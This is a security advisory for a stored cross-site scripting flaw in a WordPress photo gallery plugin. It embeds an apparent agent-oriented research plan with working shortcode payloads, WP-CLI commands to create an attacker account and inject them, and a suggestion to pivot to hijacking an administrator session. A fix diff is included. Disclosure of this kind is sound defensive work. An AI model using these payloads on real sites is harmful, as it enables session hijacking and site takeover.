Easy Social Photos Gallery <= 3.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wrapper_class' Shortcode Attribute
Description
The Easy Social Photos Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper_class' shortcode attribute of the 'my-instagram-feed' shortcode in all versions up to, and including, 3.1.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. Specifically, the plugin uses sanitize_text_field() instead of esc_attr() when outputting the 'wrapper_class' attribute inside a double-quoted HTML class attribute. Since sanitize_text_field() does not encode double quotes, an attacker can break out of the class attribute and inject arbitrary HTML event handlers. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.1.2This research plan focuses on exploiting **CVE-2026-4085**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Easy Social Photos Gallery – MIF" plugin. The vulnerability exists because the plugin fails to properly escape the `wrapper_class` attribute of the `[my-instagram-feed]` shortcode, u…
Show full research plan
This research plan focuses on exploiting CVE-2026-4085, a Stored Cross-Site Scripting (XSS) vulnerability in the "Easy Social Photos Gallery – MIF" plugin. The vulnerability exists because the plugin fails to properly escape the wrapper_class attribute of the [my-instagram-feed] shortcode, using sanitize_text_field() instead of esc_attr() when rendering the attribute within HTML double quotes.
1. Vulnerability Summary
The Easy Social Photos Gallery plugin (slug: my-instagram-feed) is vulnerable to Stored XSS via the wrapper_class attribute in the [my-instagram-feed] shortcode. While sanitize_text_field() is used on the input, this function is designed to strip tags and line breaks but does not encode double quotes. Since the attribute is later output inside a double-quoted HTML attribute (e.g., <div class="[wrapper_class]">), an attacker can provide a payload starting with a double quote to "break out" of the class attribute and inject event handlers (like onmouseover) or other HTML attributes.
2. Attack Vector Analysis
- Shortcode:
[my-instagram-feed] - Vulnerable Attribute:
wrapper_class - Endpoint: WordPress Post/Page Editor (
wp-admin/post-new.phporwp-admin/post.php) - Authentication Level: Authenticated (Contributor-level access or higher). Contributors can create posts and insert shortcodes, even if they cannot publish them.
- Preconditions: The plugin must be active. The attacker must have the ability to edit a post/page and include the shortcode.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode using
add_shortcode( 'my-instagram-feed', '...' ). - Parsing: When a page containing the shortcode is viewed, WordPress calls the plugin's callback function.
- Processing: Inside the callback, the attributes array (
$atts) is processed, likely usingshortcode_atts(). - Sanitization (Vulnerable): The
wrapper_classattribute is sanitized usingsanitize_text_field( $atts['wrapper_class'] ). - Output (Sink): The sanitized string is concatenated into an HTML string, specifically inside a
classattribute:// Inferred vulnerable code $wrapper_class = sanitize_text_field( $atts['wrapper_class'] ); $output = '<div class="' . $wrapper_class . '">'; - Rendering: Because double quotes were not escaped, the resulting HTML becomes:
<div class="anyclass" onmouseover="alert(1)" style="display:block;width:100%;height:100px;background:red;">
4. Nonce Acquisition Strategy
This vulnerability involves Stored XSS via post content. It does not typically require a plugin-specific AJAX nonce for the initial injection because the "storage" happens through the standard WordPress post-saving mechanism.
To inject the payload:
- Contributor Login: The agent should authenticate as a Contributor.
- Standard Post Creation: The agent can use
wp-clito create a post, bypassing the need for manual nonce handling in the browser for the injection phase. - Alternative (Browser-based): If using the browser, the agent must navigate to
wp-admin/post-new.phpand capture the_wpnoncefrom the form if it intends to simulate a rawPOSTrequest topost.php.
5. Exploitation Strategy
The goal is to inject an event handler into the shortcode that executes JavaScript when a user (specifically an Admin) views the page.
- Login as Contributor: Use the
http_requestorbrowser_navigatetool to ensure session cookies for a contributor-level user are active. - Create Malicious Post: Use
wp-clito create a post containing the payload. This is more reliable than simulating multipart form data.- Payload:
[my-instagram-feed wrapper_class='"><script>alert(document.domain)</script>'](Note:sanitize_text_fieldmight strip<script>, so an event-handler breakout is safer). - Reliable Payload:
[my-instagram-feed wrapper_class='x" onmouseover="alert(1)" style="width:100%;height:100px;background:red;display:block;"']
- Payload:
- Trigger the XSS:
- Navigate to the URL of the created post.
- Use
browser_evalto simulate a mouse movement over the injecteddivif an event handler was used. - Observe if the alert/payload executes.
6. Test Data Setup
- Install Plugin: Ensure
my-instagram-feedversion 3.1.2 is installed and active. - Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Inject via WP-CLI:
wp post create --post_type=post --post_status=publish --post_title="Social Feed" \ --post_content='[my-instagram-feed wrapper_class="\" onmouseover=\"alert(document.domain)\" style=\"width:100px;height:100px;background:blue;display:block;\""]' \ --user=attacker
7. Expected Results
- When the post is viewed, the HTML source should contain:
<div class="" onmouseover="alert(document.domain)" style="width:100px;height:100px;background:blue;display:block;" ...> - The
sanitize_text_fieldfunction will leave the"characters intact. - Hovering over the blue box in the browser should trigger the JavaScript alert.
8. Verification Steps
- Check Database:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='Social Feed'" - Verify Rendered HTML:
Usehttp_requestto fetch the post URL and check for the unescapedonmouseoverattribute.# Expected output contains: # class="" onmouseover="alert(document.domain)" - Browser Execution: Use
browser_navigateto the post URL and check ifbrowser_eval("window.confirm_exploit = true")can be triggered via the XSS payload.
9. Alternative Approaches
- Autofocus Payload: If
onmouseoveris difficult to trigger, useonfocuswithautofocus:wrapper_class='x" onfocus="alert(1)" autofocus="true" x="' - Admin Dashboard XSS: If the plugin displays the shortcode output in the admin dashboard (e.g., in a preview or settings page), the XSS could be used to target the administrator's session specifically to perform CSRF (e.g., creating a new admin user).
- Attribute Injection: If quotes are restricted in some environments (though not by
sanitize_text_field), check if the output is unquoted:<div class=$wrapper_class>. If so, a simple spacewrapper_class='x onmouseover=alert(1)'would suffice. (Unlikely in WordPress plugins which generally use quotes).
Summary
The Easy Social Photos Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper_class' shortcode attribute due to improper output escaping. An authenticated attacker with contributor-level permissions can inject arbitrary JavaScript by breaking out of the double-quoted HTML class attribute using double quotes, which are not sanitized by the sanitize_text_field() function.
Vulnerable Code
// Inferred from plugin logic in version <= 3.1.2 // File: my-instagram-feed.php or includes/shortcode-handler.php $wrapper_class = sanitize_text_field( $atts['wrapper_class'] ); // ... $output .= '<div class="' . $wrapper_class . '">';
Security Fix
@@ -XX,5 +XX,5 @@ - $wrapper_class = sanitize_text_field( $atts['wrapper_class'] ); - $output = '<div class="' . $wrapper_class . '">'; + $wrapper_class = $atts['wrapper_class']; + $output = '<div class="' . esc_attr( $wrapper_class ) . '">';
Exploit Outline
1. Authenticate as a Contributor or higher role with permission to create posts. 2. Create a new post and insert the [my-instagram-feed] shortcode with a malicious wrapper_class attribute. 3. Use a payload such as: [my-instagram-feed wrapper_class='" onmouseover="alert(document.domain)" style="width:100px;height:100px;background:red;display:block;"']. 4. Because sanitize_text_field() does not encode double quotes, the payload effectively closes the 'class' attribute and injects a new 'onmouseover' attribute and CSS styling. 5. Save the post and view the page; hovering over the injected div will trigger the JavaScript execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.